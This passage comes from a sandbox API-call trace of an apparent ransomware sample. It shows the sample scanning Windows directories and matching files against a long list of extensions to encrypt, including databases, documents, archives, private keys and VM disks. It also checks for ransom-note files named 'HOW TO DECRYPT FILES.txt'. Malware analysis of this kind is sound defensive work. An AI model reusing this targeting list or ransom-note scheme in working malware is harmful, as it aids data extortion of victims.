(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0109.751] lstrlenA (lpString="*.dbx") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0109.751] lstrlenA (lpString="*.sql") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0109.751] lstrlenA (lpString="*.mdb") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0109.751] lstrlenA (lpString="*.fdb") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0109.752] lstrlenA (lpString="*.wab") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0109.752] lstrlenA (lpString="*.dat") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0109.752] lstrlenA (lpString="*.txt") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0109.752] lstrlenA (lpString="*.jpeg") returned 6 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0109.752] lstrlenA (lpString="*.jpg") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.png") returned 0 [0109.752] lstrlenA (lpString="*.png") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.php") returned 0 [0109.752] lstrlenA (lpString="*.php") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0109.752] lstrlenA (lpString="*.cs") returned 4 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0109.752] lstrlenA (lpString="*.cpp") returned 5 [0109.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0109.753] lstrlenA (lpString="*.rar") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0109.753] lstrlenA (lpString="*.zip") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.html") returned 0 [0109.753] lstrlenA (lpString="*.html") returned 6 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0109.753] lstrlenA (lpString="*.htm") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0109.753] lstrlenA (lpString="*.xlsx") returned 6 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0109.753] lstrlenA (lpString="*.xls") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0109.753] lstrlenA (lpString="*.mp4") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0109.753] lstrlenA (lpString="*.ppt") returned 5 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0109.753] lstrlenA (lpString="*.pptx") returned 6 [0109.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0109.754] lstrlenA (lpString="*.doc") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0109.754] lstrlenA (lpString="*.dot") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0109.754] lstrlenA (lpString="*.docx") returned 6 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0109.754] lstrlenA (lpString="*.7z") returned 4 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0109.754] lstrlenA (lpString="*.tar") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0109.754] lstrlenA (lpString="*.bz2") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0109.754] lstrlenA (lpString="*.gz") returned 4 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0109.754] lstrlenA (lpString="*.mkv") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.754] lstrlenA (lpString="*.eml") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0109.754] lstrlenA (lpString="*.msg") returned 5 [0109.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0109.755] lstrlenA (lpString="*.edb") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0109.755] lstrlenA (lpString="*.accdb") returned 7 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0109.755] lstrlenA (lpString="*.odb") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.java") returned 0 [0109.755] lstrlenA (lpString="*.java") returned 6 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0109.755] lstrlenA (lpString="*.asm") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0109.755] lstrlenA (lpString="*.pfx") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0109.755] lstrlenA (lpString="*.pem") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0109.755] lstrlenA (lpString="*.p12") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0109.755] lstrlenA (lpString="*.gpg") returned 5 [0109.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0109.756] lstrlenA (lpString="*.vsd") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0109.756] lstrlenA (lpString="*.odg") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0109.756] lstrlenA (lpString="*.raw") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0109.756] lstrlenA (lpString="*.nef") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0109.756] lstrlenA (lpString="*.svg") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0109.756] lstrlenA (lpString="*.psd") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0109.756] lstrlenA (lpString="*.vmx") returned 5 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0109.756] lstrlenA (lpString="*.vmdk") returned 6 [0109.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0109.756] lstrlenA (lpString="*.vdi") returned 5 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0109.757] lstrlenA (lpString="*.lay6") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0109.757] lstrlenA (lpString="*.mpeg") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0109.757] lstrlenA (lpString="*.djvu") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0109.757] lstrlenA (lpString="*.tiff") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0109.757] lstrlenA (lpString="*.backup") returned 8 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0109.757] lstrlenA (lpString="*.pdf") returned 5 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0109.757] lstrlenA (lpString="*.cert") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0109.757] lstrlenA (lpString="*.docm") returned 6 [0109.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0109.757] lstrlenA (lpString="*.xlsm") returned 6 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0109.758] lstrlenA (lpString="*.dwg") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0109.758] lstrlenA (lpString="*.nd") returned 4 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0109.758] lstrlenA (lpString="*.tlg") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0109.758] lstrlenA (lpString="*.lgb") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0109.758] lstrlenA (lpString="*.mov") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0109.758] lstrlenA (lpString="*.xdw") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0109.758] lstrlenA (lpString="*.ods") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0109.758] lstrlenA (lpString="*.wav") returned 5 [0109.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0109.759] lstrlenA (lpString="*.mp3") returned 5 [0109.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0109.759] lstrlenA (lpString="*.aiff") returned 6 [0109.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0109.759] lstrlenA (lpString="*.flac") returned 6 [0109.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0109.759] lstrlenA (lpString="*.m4a") returned 5 [0109.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0109.759] lstrlenA (lpString="*.csv") returned 5 [0109.759] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f08300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60f08300, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60f08300, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.760] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.760] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617cf420, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x617cf420, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x617cf420, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="25a305f72aa5af4fe45b44d9aeb1a628", cAlternateFileName="25A305~1")) returned 1 [0109.760] lstrcmpA (lpString1=".", lpString2="25a305f72aa5af4fe45b44d9aeb1a628") returned -1 [0109.760] lstrcmpA (lpString1="..", lpString2="25a305f72aa5af4fe45b44d9aeb1a628") returned -1 [0109.760] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.760] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="25a305f72aa5af4fe45b44d9aeb1a628" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628" [0109.760] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628") returned 100 [0109.760] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617cf420, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x617cf420, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x617cf420, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.807] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.807] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617cf420, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x617cf420, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x617cf420, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.807] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.807] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.807] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61736ea0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61736ea0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6175d000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.808] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.808] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0109.808] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0109.808] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0109.808] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\*.*") returned="*.*" [0109.808] lstrcpyA (in: lpString1=0x407019, 